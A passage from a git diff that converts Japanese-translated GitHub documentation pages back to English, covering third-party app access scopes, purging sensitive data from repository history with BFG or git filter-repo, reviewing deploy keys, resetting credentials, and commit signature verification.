リポジトリ情報には、コントリビュータの名前、あなたが作成したブランチ、リポジトリ内の実際のファイルなどが含まれます。 アプリケーションは、ユーザ単位で{% ifversion not ghae %}パブリック{% else %}内部{% endif %}またはプライベートリポジトリへのアクセスをリクエストできます。 | -| リポジトリの削除 | アプリケーションはあなたが管理するリポジトリの削除をリクエストできますが、コードにアクセスすることはできません。 | +| Type of data | Description | +| --- | --- | +| Commit status | You can grant access for a third-party application to report your commit status. Commit status access allows applications to determine if a build is a successful against a specific commit. Applications won't have access to your code, but they can read and write status information against a specific commit. | +| Deployments | Deployment status access allows applications to determine if a deployment is successful against a specific commit for a repository. Applications won't have access to your code. | +| Gists | [Gist](https://gist.github.com) access allows applications to read or write to {% ifversion not ghae %}both your public and{% else %}both your internal and{% endif %} secret Gists. | +| Hooks | [Webhooks](/webhooks) access allows applications to read or write hook configurations on repositories you manage. | +| Notifications | Notification access allows applications to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, applications remain unable to access anything in your repositories. | +| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. | +| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. | +| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. An application can request access to all of your repositories of any visibility level. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." | +| Repository delete | Applications can request to delete repositories that you administer, but they won't have access to your code. | -## 更新された権限のリクエスト +## Requesting updated permissions -アプリケーションは新しいアクセス権限をリクエストできます。 権限の更新を要求する場合、アプリケーションはその違いについて通知します。 +Applications can request new access privileges. When asking for updated permissions, the application will notify you of the differences. -![サードパーティアプリケーションのアクセスを変更する](/assets/images/help/platform/oauth_existing_access_pane.png) +![Changing third-party application access](/assets/images/help/platform/oauth_existing_access_pane.png) diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md index b7af79e8b3..9056bc0961 100644 --- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md +++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md @@ -1,6 +1,6 @@ --- -title: 機密データをリポジトリから削除する -intro: Git リポジトリへのパスワードや SSH キーといった機密データをコミットする場合、そのデータを履歴から削除することができます。 To entirely remove unwanted files from a repository's history you can use either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool. +title: Removing sensitive data from a repository +intro: 'If you commit sensitive data, such as a password or SSH key into a Git repository, you can remove it from the history. To entirely remove unwanted files from a repository''s history you can use either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool.' redirect_from: - /remove-sensitive-data/ - /removing-sensitive-data/ @@ -18,52 +18,51 @@ topics: - Access management shortTitle: Remove sensitive data --- +The `git filter-repo` tool and the BFG Repo-Cleaner rewrite your repository's history, which changes the SHAs for existing commits that you alter and any dependent commits. Changed commit SHAs may affect open pull requests in your repository. We recommend merging or closing all open pull requests before removing files from your repository. -The `git filter-repo` tool and the BFG Repo-Cleaner rewrite your repository's history, which changes the SHAs for existing commits that you alter and any dependent commits. コミットの SHA が変更されると、リポジトリでオープンされたプルリクエストに影響する可能性があります。 ファイルをリポジトリから削除する前に、オープンプルリクエストをすべてマージまたはクローズすることを推奨します。 - -`git rm` によって、最新のコミットからファイルを削除することができます。 For information on removing a file that was added with the latest commit, see "[About large files on {% data variables.product.prodname_dotcom %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)." +You can remove the file from the latest commit with `git rm`. For information on removing a file that was added with the latest commit, see "[About large files on {% data variables.product.prodname_dotcom %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)." {% warning %} -This article tells you how to make commits with sensitive data unreachable from any branches or tags in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. ただし、こうしたコミットも、リポジトリのクローンやフォークからは、{% data variables.product.product_name %} でキャッシュされているビューの SHA-1 ハッシュによって直接、また参照元のプルリクエストによって、到達できる可能性があることに注意することが重要です。 You cannot remove sensitive data from other users' clones or forks of your repository, but you can permanently remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %} by contacting {% data variables.contact.contact_support %}. +This article tells you how to make commits with sensitive data unreachable from any branches or tags in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. However, it's important to note that those commits may still be accessible in any clones or forks of your repository, directly via their SHA-1 hashes in cached views on {% data variables.product.product_name %}, and through any pull requests that reference them. You cannot remove sensitive data from other users' clones or forks of your repository, but you can permanently remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %} by contacting {% data variables.contact.contact_support %}. -**Warning: Once you have pushed a commit to {% data variables.product.product_name %}, you should consider any sensitive data in the commit compromised.** If you committed a password, change it! キーをコミットした場合は、新たに生成してください。 Removing the compromised data doesn't resolve its initial exposure, especially in existing clones or forks of your repository. Consider these limitations in your decision to rewrite your repository's history. +**Warning: Once you have pushed a commit to {% data variables.product.product_name %}, you should consider any sensitive data in the commit compromised.** If you committed a password, change it! If you committed a key, generate a new one. Removing the compromised data doesn't resolve its initial exposure, especially in existing clones or forks of your repository. Consider these limitations in your decision to rewrite your repository's history. {% endwarning %} -## ファイルをリポジトリの履歴からパージする +## Purging a file from your repository's history You can purge a file from your repository's history using either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool. -### BFG を使用する +### Using the BFG -[BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) は、オープンソースコミュニティによって構築およびメンテナンスされているツールです。 これは、不要なデータを削除する手段として、`git filter-branch` より高速でシンプルです。 +The [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) is a tool that's built and maintained by the open source community. It provides a faster, simpler alternative to `git filter-branch` for removing unwanted data. -たとえば、機密データを含むファイルを削除して、最新のコミットをそのままにしておくには、次を実行します: +For example, to remove your file with sensitive data and leave your latest commit untouched, run: ```shell -$ bfg --delete-files 機密データを含むファイル +$ bfg --delete-files YOUR-FILE-WITH-SENSITIVE-DATA ``` -`passwords.txt` にリストされているすべてのテキストについて、リポジトリの履歴にあれば置き換えるには、次を実行します: +To replace all text listed in `passwords.txt` wherever it can be found in your repository's history, run: ```shell $ bfg --replace-text passwords.txt ``` -機密データが削除されたら、変更を {% data variables.product.product_name %} に強制的にプッシュする必要があります。 +After the sensitive data is removed, you must force push your changes to {% data variables.product.product_name %}. Force pushing rewrites the repository history, which removes sensitive data from the commit history. If you force push, it may overwrite commits that other people have based their work on. ```shell $ git push --force ``` -完全な使用方法とダウンロード手順については、[BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/) のドキュメントを参照してください。 +See the [BFG Repo-Cleaner](https://rtyley.github.io/bfg-repo-cleaner/)'s documentation for full usage and download instructions. ### Using git filter-repo {% warning %} -**Warning:** If you run `git filter-repo` after stashing changes, you won't be able to retrieve your changes with other stash commands. Before running `git filter-repo`, we recommend unstashing any changes you've made. stash した最後の一連の変更を unstash するには、`git stash show -p | git apply -R` を実行します。 For more information, see [Git Tools - Stashing and Cleaning](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning). +**Warning:** If you run `git filter-repo` after stashing changes, you won't be able to retrieve your changes with other stash commands. Before running `git filter-repo`, we recommend unstashing any changes you've made. To unstash the last set of changes you've stashed, run `git stash show -p | git apply -R`. For more information, see [Git Tools - Stashing and Cleaning](https://git-scm.com/book/en/v2/Git-Tools-Stashing-and-Cleaning). {% endwarning %} @@ -75,25 +74,25 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil ``` For more information, see [*INSTALL.md*](https://github.com/newren/git-filter-repo/blob/main/INSTALL.md) in the `newren/git-filter-repo` repository. -2. 機密データを含むリポジトリのローカルコピーが履歴にまだない場合は、ローカルコンピュータに[リポジトリのクローンを作成](/articles/cloning-a-repository/)します。 +2. If you don't already have a local copy of your repository with sensitive data in its history, [clone the repository](/articles/cloning-a-repository/) to your local computer. ```shell - $ git clone https://{% data variables.command_line.codeblock %}/ユーザ名/リポジトリ - > Initialized empty Git repository in /Users/ファイルパス/リポジトリ/.git/ + $ git clone https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY + > Initialized empty Git repository in /Users/YOUR-FILE-PATH/YOUR-REPOSITORY/.git/ > remote: Counting objects: 1301, done. > remote: Compressing objects: 100% (769/769), done. > remote: Total 1301 (delta 724), reused 910 (delta 522) > Receiving objects: 100% (1301/1301), 164.39 KiB, done. > Resolving deltas: 100% (724/724), done. ``` -3. リポジトリのワーキングディレクトリに移動します。 +3. Navigate into the repository's working directory. ```shell - $ cd リポジトリ + $ cd YOUR-REPOSITORY ``` -4. 次のコマンドを実行します。`機密データを含むファイルへのパス`は、**ファイル名だけではなく、削除するファイルへのパス**で置き換えます。 その引数により、次のことが行われます: - - 各ブランチとタグの履歴全体を強制的に Git で処理するが、チェックアウトはしない - - 指定のファイルを削除することにより、生成された空のコミットも削除される +4. Run the following command, replacing `PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA` with the **path to the file you want to remove, not just its filename**. These arguments will: + - Force Git to process, but not check out, the entire history of every branch and tag + - Remove the specified file, as well as any empty commits generated as a result - Remove some configurations, such as the remote URL, stored in the *.git/config* file. You may want to back up this file in advance for restoration later. - - **既存のタグを上書きする** + - **Overwrite your existing tags** ```shell $ git filter-repo --invert-paths --path PATH-TO-YOUR-FILE-WITH-SENSITIVE-DATA Parsed 197 commits @@ -111,11 +110,11 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil {% note %} - **メモ:** 機密データを含む当該ファイルが (移動されたか名前が変更されたため) 他のパスに存在していた場合、このコマンドはそのパスでも実行する必要があります。 + **Note:** If the file with sensitive data used to exist at any other paths (because it was moved or renamed), you must run this command on those paths, as well. {% endnote %} -5. 機密データを含むファイルを、誤って再度コミットしないようにするため、`.gitignore` に追加します。 +5. Add your file with sensitive data to `.gitignore` to ensure that you don't accidentally commit it again. ```shell $ echo "YOUR-FILE-WITH-SENSITIVE-DATA" >> .gitignore @@ -124,8 +123,8 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil > [main 051452f] Add YOUR-FILE-WITH-SENSITIVE-DATA to .gitignore > 1 files changed, 1 insertions(+), 0 deletions(-) ``` -6. リポジトリの履歴から削除対象をすべて削除したこと、すべてのブランチがチェックアウトされたことをダブルチェックします。 -7. Once you're happy with the state of your repository, force-push your local changes to overwrite your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, as well as all the branches you've pushed up: +6. Double-check that you've removed everything you wanted to from your repository's history, and that all of your branches are checked out. +7. Once you're happy with the state of your repository, force-push your local changes to overwrite your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, as well as all the branches you've pushed up. A force push is required to remove sensitive data from your commit history. ```shell $ git push origin --force --all > Counting objects: 1074, done. @@ -136,7 +135,7 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil > To https://{% data variables.command_line.codeblock %}/YOUR-USERNAME/YOUR-REPOSITORY.git > + 48dc599...051452f main -> main (forced update) ``` -8. 機密データを[タグ付きリリース](/articles/about-releases)から削除するため、Git タグに対しても次のようにフォースプッシュする必要があります。 +8. In order to remove the sensitive file from [your tagged releases](/articles/about-releases), you'll also need to force-push against your Git tags: ```shell $ git push origin --force --tags > Counting objects: 321, done. @@ -152,9 +151,9 @@ To illustrate how `git filter-repo` works, we'll show you how to remove your fil After using either the BFG tool or `git filter-repo` to remove the sensitive data and pushing your changes to {% data variables.product.product_name %}, you must take a few more steps to fully remove the data from {% data variables.product.product_name %}. -1. {% data variables.contact.contact_support %} に連絡し、{% data variables.product.product_name %} 上で、キャッシュされているビューと、プルリクエストでの機密データへの参照を削除するよう依頼します。 Please provide the name of the repository and/or a link to the commit you need removed. +1. Contact {% data variables.contact.contact_support %}, asking them to remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %}. Please provide the name of the repository and/or a link to the commit you need removed. -2. コラボレータには、 作成したブランチを古い (汚染された) リポジトリ履歴から[リベース](https://git-scm.com/book/en/Git-Branching-Rebasing)する (マージ*しない*) よう伝えます。 マージコミットを 1 回でも行うと、パージで問題が発生したばかりの汚染された履歴の一部または全部が再導入されてしまいます。 +2. Tell your collaborators to [rebase](https://git-scm.com/book/en/Git-Branching-Rebasing), *not* merge, any branches they created off of your old (tainted) repository history. One merge commit could reintroduce some or all of the tainted history that you just went to the trouble of purging. 3. After some time has passed and you're confident that the BFG tool / `git filter-repo` had no unintended side effects, you can force all objects in your local repository to be dereferenced and garbage collected with the following commands (using Git 1.8.5 or newer): ```shell @@ -169,21 +168,21 @@ After using either the BFG tool or `git filter-repo` to remove the sensitive dat ``` {% note %} - **注釈:** フィルタした履歴を、新規または空のリポジトリにプッシュして、{% data variables.product.product_name %} から新しいクローンを作成することによっても、同じことができます。 + **Note:** You can also achieve this by pushing your filtered history to a new or empty repository and then making a fresh clone from {% data variables.product.product_name %}. {% endnote %} -## 将来にわたって誤ったコミットを回避する +## Avoiding accidental commits in the future -コミット対象でないものがコミットされるのを回避するためのシンプルな方法がいくつかあります。 +There are a few simple tricks to avoid committing things you don't want committed: -- [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) や [gitk](https://git-scm.com/docs/gitk) のようなビジュアルプログラムを使用して、変更をコミットします。 ビジュアルプログラムは通常、各コミットでどのファイルが追加、削除、変更されるかを正確に把握しやすくするものです。 -- コマンドラインでは catch-all コマンド、`git add .` および `git commit -a` は使用しないようにします。ファイルを個別にステージングするには、代わりに `git add filename` および `git rm filename` を使用します。 -- 各ファイル内の変更を個別にレビューしステージングするには、`git add --interactive` を使用します。 -- コミットのためにステージングされている変更をレビューするには、`git diff --cached` を使用します。 これはまさに、`git commit` で `-a` フラグを使用しない限りにおいて生成される diff です。 +- Use a visual program like [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) or [gitk](https://git-scm.com/docs/gitk) to commit changes. Visual programs generally make it easier to see exactly which files will be added, deleted, and modified with each commit. +- Avoid the catch-all commands `git add .` and `git commit -a` on the command line—use `git add filename` and `git rm filename` to individually stage files, instead. +- Use `git add --interactive` to individually review and stage changes within each file. +- Use `git diff --cached` to review the changes that you have staged for commit. This is the exact diff that `git commit` will produce as long as you don't use the `-a` flag. -## 参考リンク +## Further reading - [`git filter-repo` man page](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html) -- [Pro Git：Git ツール - 履歴の書き換え](https://git-scm.com/book/en/Git-Tools-Rewriting-History) +- [Pro Git: Git Tools - Rewriting History](https://git-scm.com/book/en/Git-Tools-Rewriting-History) - "[About Secret scanning](/code-security/secret-security/about-secret-scanning)" diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md index 1a7fd2fdc8..b3629bba82 100644 --- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md +++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md @@ -1,6 +1,6 @@ --- -title: デプロイ キーをレビューする -intro: デプロイ キーをレビューして、許可されていない (あるいは侵害された可能性のある) キーがないことを確認してください。 有効な既存のデプロイ キーを承認することもできます。 +title: Reviewing your deploy keys +intro: You should review deploy keys to ensure that there aren't any unauthorized (or possibly compromised) keys. You can also approve existing deploy keys that are valid. redirect_from: - /articles/reviewing-your-deploy-keys - /github/authenticating-to-github/reviewing-your-deploy-keys @@ -13,12 +13,16 @@ versions: topics: - Identity - Access management -shortTitle: デプロイキー +shortTitle: Deploy keys --- - {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -3. 左サイドバーで [**Deploy keys**] をクリックします。 ![デプロイキーの設定](/assets/images/help/settings/settings-sidebar-deploy-keys.png) -4. [Deploy keys] ページで、自分のアカウントに関連付けられているデプロイ キーを書き留めます。 覚えていないか古くなっている場合は、[**Delete**] をクリックします。 残しておきたい有効なデプロイ キーがある場合は、[**Approve**] をクリックします。 ![デプロイキーのリスト](/assets/images/help/settings/settings-deploy-key-review.png) +3. In the left sidebar, click **Deploy keys**. +![Deploy keys setting](/assets/images/help/settings/settings-sidebar-deploy-keys.png) +4. On the Deploy keys page, take note of the deploy keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid deploy keys you'd like to keep, click **Approve**. + ![Deploy key list](/assets/images/help/settings/settings-deploy-key-review.png) -詳しい情報については、「[デプロイキーを管理する](/guides/managing-deploy-keys)」を参照してください。 +For more information, see "[Managing deploy keys](/guides/managing-deploy-keys)." + +## Further reading +- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md index 9d01941c5f..e1b972b591 100644 --- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md +++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md @@ -1,6 +1,6 @@ --- -title: GitHub アクセス認証情報を更新する -intro: '{% data variables.product.product_name %} 認証情報は、{% ifversion not ghae %}パスワードだけではなく、{% endif %}{% data variables.product.product_name %} に伝達するのに使うアクセストークン、SSH キーおよびアプリケーション API トークンを含みます。 必要があれば、すべてのアクセス認証情報をリセットできます。' +title: Updating your GitHub access credentials +intro: '{% data variables.product.product_name %} credentials include{% ifversion not ghae %} not only your password, but also{% endif %} the access tokens, SSH keys, and application API tokens you use to communicate with {% data variables.product.product_name %}. Should you have the need, you can reset all of these access credentials yourself.' redirect_from: - /articles/rolling-your-credentials/ - /articles/how-can-i-reset-my-password/ @@ -17,17 +17,18 @@ topics: - Access management shortTitle: Update access credentials --- - {% ifversion not ghae %} -## 新しいパスワードをリクエストする +## Requesting a new password 1. To request a new password, visit {% ifversion fpt or ghec %}https://{% data variables.product.product_url %}/password_reset{% else %}`https://{% data variables.product.product_url %}/password_reset`{% endif %}. -2. Enter the email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then click **Send password reset email.** The email will be sent to the backup email address if you have one configured. ![パスワードリセットのメールリクエストダイアログ](/assets/images/help/settings/password-recovery-email-request.png) -3. パスワードをリセットするためのリンクがメールで届きます。 メールを受信してから 3 時間以内に、このリンクをクリックする必要があります。 弊社からメールが届かない場合、スパムフォルダを確認してください。 -4. If you have enabled two-factor authentication, you will be prompted for your 2FA credentials. Type your 2FA credentials or one of your 2FA recovery codes and click **Verify**. ![Two-factor authentication prompt](/assets/images/help/2fa/2fa-password-reset.png) +2. Enter the email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then click **Send password reset email.** The email will be sent to the backup email address if you have one configured. + ![Password reset email request dialog](/assets/images/help/settings/password-recovery-email-request.png) +3. We'll email you a link that will allow you to reset your password. You must click on this link within 3 hours of receiving the email. If you didn't receive an email from us, make sure to check your spam folder. +4. If you have enabled two-factor authentication, you will be prompted for your 2FA credentials. Type your 2FA credentials or one of your 2FA recovery codes and click **Verify**. + ![Two-factor authentication prompt](/assets/images/help/2fa/2fa-password-reset.png) 5. Type a new password, confirm your new password, and click **Change password**. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)." {% ifversion fpt or ghec %}![Password recovery box](/assets/images/help/settings/password-recovery-page.png){% else %} - ![パスワードリカバリボックス](/assets/images/enterprise/settings/password-recovery-page.png){% endif %} + ![Password recovery box](/assets/images/enterprise/settings/password-recovery-page.png){% endif %} {% tip %} @@ -35,36 +36,36 @@ To avoid losing your password in the future, we suggest using a secure password {% endtip %} -## 既存のパスワードを変更する +## Changing an existing password {% data reusables.repositories.blocked-passwords %} -1. {% data variables.product.product_name %} への {% data variables.product.signin_link %} +1. {% data variables.product.signin_link %} to {% data variables.product.product_name %}. {% data reusables.user_settings.access_settings %} {% data reusables.user_settings.security %} -4. [Change password] の下で、古いパスワード、新しい強靭なパスワードを入力し、新しいパスワードを確認します。 強靭なパスワードを作成するための参考として、「[強靭なパスワードを作成する](/articles/creating-a-strong-password)」を参照してください。 -5. [**Update password**] をクリックします。 +4. Under "Change password", type your old password, a strong new password, and confirm your new password. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)" +5. Click **Update password**. {% tip %} -セキュリティを強化するために、パスワードの変更に加えて 2 要素認証を有効にしてください。 詳細は「[2 要素認証について](/articles/about-two-factor-authentication)」を参照してください。 +For greater security, enable two-factor authentication in addition to changing your password. See [About two-factor authentication](/articles/about-two-factor-authentication) for more details. {% endtip %} {% endif %} -## アクセストークンを更新する +## Updating your access tokens -アクセストークンのレビューと削除の方法については、「[許可されたインテグレーションをレビューする](/articles/reviewing-your-authorized-integrations)」を参照してください。 新しいアクセストークンを作成するには、「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」を参照してください。 +See "[Reviewing your authorized integrations](/articles/reviewing-your-authorized-integrations)" for instructions on reviewing and deleting access tokens. To generate new access tokens, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." -## SSH キーを更新する +## Updating your SSH keys -SSH キーのレビューおよび削除については「[SSH キーをレビューする](/articles/reviewing-your-ssh-keys)」を参照してください。 新しい SSH キーの生成および追加については、「[SSH キーを生成する](/articles/generating-an-ssh-key)」を参照してください。 +See "[Reviewing your SSH keys](/articles/reviewing-your-ssh-keys)" for instructions on reviewing and deleting SSH keys. To generate and add new SSH keys, see "[Generating an SSH key](/articles/generating-an-ssh-key)." -## API トークンをリセットする +## Resetting API tokens -{% data variables.product.product_name %} に登録したアプリケーションがある場合、OAuthトークンのリセットを考えることになります。 詳しい情報については、「[認証をリセットする](/rest/reference/apps#reset-an-authorization)」エンドポイントを参照してください。 +If you have any applications registered with {% data variables.product.product_name %}, you'll want to reset their OAuth tokens. For more information, see the "[Reset an authorization](/rest/reference/apps#reset-an-authorization)" endpoint. {% ifversion not ghae %} -## 許可されていないアクセスを防止する +## Preventing unauthorized access -アカウントを保護し権限のないアクセスを防止するためのさらなるヒントについては、「[許可されていないアクセスを防止する](/articles/preventing-unauthorized-access)」を参照してください。 +For more tips on securing your account and preventing unauthorized access, see "[Preventing unauthorized access](/articles/preventing-unauthorized-access)." {% endif %} diff --git a/translations/ja-JP/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md b/translations/ja-JP/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md index bb7074841d..0a0564460c 100644 --- a/translations/ja-JP/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md +++ b/translations/ja-JP/content/authentication/managing-commit-signature-verification/about-commit-signature-verification.md @@ -1,6 +1,6 @@ --- -title: コミット署名の検証について -intro: 'GPG または S/MIME を使用して、タグに署名し、ローカルでコミットできます。 これらのタグやコミットは {% data variables.product.product_name %} で検証済みとしてマークされているため、他のユーザはその変更が信頼できるソースからのものであると確信できます。' +title: About commit signature verification +intro: 'Using GPG or S/MIME, you can sign tags and commits locally. These tags or commits are marked as verified on {% data variables.product.product_name %} so other people can be confident that the changes come from a trusted source.' redirect_from: - /articles/about-gpg-commit-and-tag-signatures/ - /articles/about-gpg/ @@ -17,83 +17,82 @@ topics: - Access management shortTitle: Commit signature verification --- +## About commit signature verification -## コミット署名の検証について +You can sign commits and tags locally, to give other people confidence about the origin of a change you have made. If a commit or tag has a GPG or S/MIME signature that is cryptographically verifiable, GitHub marks the commit or tag {% ifversion fpt or ghec %}"Verified" or "Partially verified."{% else %}"Verified."{% endif %} -コミットとタグにローカルで署名して、行った変更の根拠を他のユーザに信頼してもらうことができます。 コミットまたはタグに暗号で検証可能な GPG または S/MIME 署名がある場合、GitHub はコミットまたはタグに{% ifversion fpt or ghec %}「Verified」または「Partially verified」{% else %}「Verified」のマークを付けます。{% endif %} - -![検証されたコミット](/assets/images/help/commits/verified-commit.png) +![Verified commit](/assets/images/help/commits/verified-commit.png) {% ifversion fpt or ghec %} -コミットとタグには、警戒モードを有効にしているかどうかによって、次の検証ステータスが含まれます。 デフォルト設定では、警戒モードは有効になっていません。 警戒モードを有効にする方法については、「[すべてのコミットの検証ステータスを表示する](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)」を参照してください。 +Commits and tags have the following verification statuses, depending on whether you have enabled vigilant mode. By default vigilant mode is not enabled. For information on how to enable vigilant mode, see "[Displaying verification statuses for all of your commits](/github/authenticating-to-github/displaying-verification-statuses-for-all-of-your-commits)." {% data reusables.identity-and-permissions.vigilant-mode-beta-note %} -### デフォルトのステータス +### Default statuses -| 状況 | 説明 | -| ---------------------- | ----------------------------- | -| **検証済み** | コミットが署名され、署名が正常に検証されました。 | -| **Unverified** | コミットは署名されていますが、署名を検証できませんでした。 | -| No verification status | コミットが署名されていません。 | +| Status | Description | +| -------------- | ----------- | +| **Verified** | The commit is signed and the signature was successfully verified. +| **Unverified** | The commit is signed but the signature could not be verified. +| No verification status | The commit is not signed. -### 警戒モードが有効になっているステータス +### Statuses with vigilant mode enabled {% data reusables.identity-and-permissions.vigilant-mode-verification-statuses %} {% else %} -コミットまたはタグに検証できない署名がある場合、{% data variables.product.product_name %} はコミットまたはタグを「未検証」としてマークします。 +If a commit or tag has a signature that can't be verified, {% data variables.product.product_name %} marks the commit or tag "Unverified." {% endif %} -リポジトリ管理者は、ブランチでコミット署名を必須として、署名および検証されていないすべてのコミットをブロックできます。 詳しい情報については、「[保護されたブランチについて](/github/administering-a-repository/about-protected-branches#require-signed-commits)」を参照してください。 +Repository administrators can enforce required commit signing on a branch to block all commits that are not signed and verified. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-signed-commits)." {% data reusables.identity-and-permissions.verification-status-check %} {% ifversion fpt or ghec %} -{% data variables.product.product_name %} will automatically use GPG to sign commits you make using the {% data variables.product.product_name %} web interface. {% data variables.product.product_name %}によって署名されたコミットは、{% data variables.product.product_name %}で認証済みのステータスになります。 署名は、https://github.com/web-flow.gpgから利用できる公開鍵を使ってローカルに検証できます。 The full fingerprint of the key is `5DE3 E050 9C47 EA3C F04A 42D3 4AEE 18F8 3AFD EB23`. オプションとして、{% data variables.product.prodname_codespaces %} で行ったコミットを {% data variables.product.product_name %} で署名させることもできます。 Codespaces の GPG 検証を有効にする方法については、「[{% data variables.product.prodname_codespaces %} の GPG 検証の管理](/github/developing-online-with-codespaces/managing-gpg-verification-for-codespaces)」を参照してください。 +{% data variables.product.product_name %} will automatically use GPG to sign commits you make using the {% data variables.product.product_name %} web interface. Commits signed by {% data variables.product.product_name %} will have a verified status on {% data variables.product.product_name %}. You can verify the signature locally using the public key available at https://github.com/web-flow.gpg. The full fingerprint of the key is `5DE3 E050 9C47 EA3C F04A 42D3 4AEE 18F8 3AFD EB23`. You can optionally choose to have {% data variables.product.product_name %} sign commits you make in {% data variables.product.prodname_codespaces %}. For more information about enabling GPG verification for your codespaces, see "[Managing GPG verification for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-gpg-verification-for-codespaces)." {% endif %} -## GPG コミット署名の検証 +## GPG commit signature verification -自分で生成した GPG キーで、GPG を使ってコミットに署名できます。 +You can use GPG to sign commits with a GPG key that you generate yourself. {% data variables.product.product_name %} uses OpenPGP libraries to confirm that your locally signed commits and tags are cryptographically verifiable against a public key you have added to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. -GPG を使ってコミットに署名し、それらのコミットを {% data variables.product.product_name %} 上で検証済みにするには、以下の手順に従ってください: +To sign commits using GPG and have those commits verified on {% data variables.product.product_name %}, follow these steps: -1. [既存の GPG キーがあるかチェックする](/articles/checking-for-existing-gpg-keys) -2. [新しい GPG キーを生成する](/articles/generating-a-new-gpg-key) -3. [GitHub アカウントに新しい GPG キーを追加する](/articles/adding-a-new-gpg-key-to-your-github-account) -4. [Git へ署名キーを伝える](/articles/telling-git-about-your-signing-key) -5. [コミットに署名する](/articles/signing-commits) -6. [タグに署名する](/articles/signing-tags) +1. [Check for existing GPG keys](/articles/checking-for-existing-gpg-keys) +2. [Generate a new GPG key](/articles/generating-a-new-gpg-key) +3. [Add a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account) +4. [Tell Git about your signing key](/articles/telling-git-about-your-signing-key) +5. [Sign commits](/articles/signing-commits) +6. [Sign tags](/articles/signing-tags) -## S/MIME コミット署名の検証 +## S/MIME commit signature verification -S/MIME を使い、自分の Organization で発行した X.509 キーを用いてコミットに署名できます。 +You can use S/MIME to sign commits with an X.509 key issued by your organization. -{% data variables.product.product_name %} は、ローカルに署名されたコミットやタグが信頼されたルート証明書の公開鍵に対して暗号的に検証可能であることを確認するために、Mozilla ブラウザが使うのと同じ信頼ストアである[Debian ca-certificatesパッケージ](https://packages.debian.org/hu/jessie/ca-certificates)を使います。 +{% data variables.product.product_name %} uses [the Debian ca-certificates package](https://packages.debian.org/hu/jessie/ca-certificates), the same trust store used by Mozilla browsers, to confirm that your locally signed commits and tags are cryptographically verifiable against a public key in a trusted root certificate. {% data reusables.gpg.smime-git-version %} -S/MIME を使ってコミットに署名し、それらのコミットを {% data variables.product.product_name %} 